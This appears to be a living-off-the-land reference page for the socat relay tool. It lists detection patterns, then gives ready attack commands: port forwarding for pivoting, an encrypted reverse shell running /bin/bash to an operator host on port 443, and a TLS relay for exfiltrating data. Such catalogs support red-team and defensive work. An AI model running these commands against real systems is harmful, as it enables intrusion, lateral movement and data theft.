.. /Socat
Star

Socat is a general-purpose relay that connects two data channels (TCP, UDP, UNIX sockets, files, processes, TLS and more). It can forward ports, relay between networks and expose a local program over a socket, and is commonly installed or uploaded as a static binary.

Paths:

Package-installed or uploaded static socat binary, executed anywhere on the system.

Resources:

Detections:

Command: Execution of socat with TCP-LISTEN, OPENSSL or EXEC addresses, in particular EXEC combined with pty/stderr/setsid, or verify=0.
Command: socat running on a host where it is not part of the standard build.

Access

Forwards connections arriving on the host to another internal system.
```
socat TCP-LISTEN:<PORT>,fork,reuseaddr TCP:<TARGET_IP>:<TARGET_PORT>
```
Use case
Pivoting between network segments.

Privileges required
User

Operating systems
Linux, MacOS, Windows

Shell Access

Sends an encrypted reverse shell to a listening operator host.
```
socat OPENSSL:<SERVER>:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
```
Use case
Remote shell over TLS that looks like HTTPS on port 443.

Privileges required
User

Operating systems
Linux, MacOS

Exfiltration

Relays plaintext local connections to a TLS service on an external host.
```
socat TCP-LISTEN:<PORT>,fork OPENSSL:<SERVER>:443,verify=0
```
Use case
Exfiltrating data to an external TLS listener.

Privileges required
User

Operating systems
Linux, MacOS, Windows